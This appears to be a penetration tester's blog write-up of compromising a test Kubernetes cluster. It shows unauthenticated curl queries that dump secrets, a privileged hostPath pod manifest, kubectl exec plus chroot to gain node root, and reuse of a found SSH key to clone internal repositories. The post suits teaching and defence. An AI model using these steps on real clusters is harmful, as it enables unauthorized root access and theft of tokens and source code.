We’ve already reported how our pentesters find and analyze Kubernetes clusters. In this post, we’ll demonstrate what kind of access you can get through such clusters.
In one of our pentesting projects, after getting into the internal network, we found a host that used a certificate with common name: system:kube-apiserver for a service on port 443/TCP. It looked like a Kubernetes cluster node with a Kubernetes API.
To our surprise, the API was accessible without authentication (we only checked GET requests). We were able to get data on namespaces, pods, and, most interestingly, secrets. We concluded that this was a test Kubernetes cluster. But we decided it was still worth our attention:
proxychains4 curl -vk https://<ip_address>/api/v1/namespaces
proxychains4 curl -vk https://<ip_address>/api/v1/nodes
proxychains4 curl -vk https://<ip_address>/api/v1/pods
proxychains4 curl -vk https://<ip_address>/api/v1/secretsFrom the secrets, we obtained 31 service account tokens (yes, without authentication). We studied the privileges of these accounts (clusterrolebinding and clusterrole objects) and found that using them, we could perform any actions to manage the cluster, including changing service account roles, creating pods, and executing commands in pods.
To get the ability to execute commands on a node, we created a pod with the following configuration (containers in the cluster used images from a local Docker registry, so we specified one of the used images):
apiVersion: v1
kind: Pod
metadata:
creationTimestamp: null
labels:
run: <my-pod>
name: <my-pod>
spec:
volumes:
- name: host-filesystem
hostPath:
path: /
containers:
- command:
- sleep
- 2d
image: <link_to_image>
name: <my-pod>
volumeMounts:
- mountPath: /mnt/
name: host-filesystem
resources: {}
securityContext:
privileged: true
runAsUser: 0
dnsPolicy: ClusterFirst
restartPolicy: Always
nodeName: <node_name>
hostNetwork: true
hostPID: true
hostIPC: true
status: {}The command to create the pod:
HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> create -f <pod.yml>After creating the pod, we run bash and changed the root directory to the node’s root directory:
HTTPS_PROXY=socks5://127.0.0.1:1080 kubectl --server=https://<ip_address>:443 --insecure-skip-tls-verify=true --token <token> exec -it <my-pod> -- bash
chroot /mntThis way, we got root access on the node (for persistence, we could have put a key in authorized_keys). There were four nodes in the cluster, so we created four pods with different nodeName for execution on each node.
After getting privileged access on one of the nodes, we found a link to a repository in the /opt/some-service/config.yaml file:
https://bitbucket.domain.local/projects/SERVICE/repos/service-back/browse/some/dir/config.javaAnd in the /home/some-user/.ssh/ directory, we found a file with a private SSH key identity.bitbucket.domain.local. We cloned the repository and searched for mentions of others in it. 89 repositories were found.
git clone ssh://git@bitbucket.domain.local/SERVICE/service-back
grep -r -i 'bitbucket.domain.local' ./service-backUsing the discovered key, we were able to access the repositories we tried to clone. We assume that we could find more repositories with our client’s application source code and we could gain access to all of them with this key.
Conclusions:
For red teams: even if you understand that you’ve gotten into a test environment, don’t abandon the host, look around. You might find something useful or expand your network access.
For blue teams: don’t forget about test environments, they need to be protected too.
For everyone: even if you think something is impossible (for example, getting secrets from the Kubernetes API without authentication) — it’s worth checking. Maybe it will work this time.
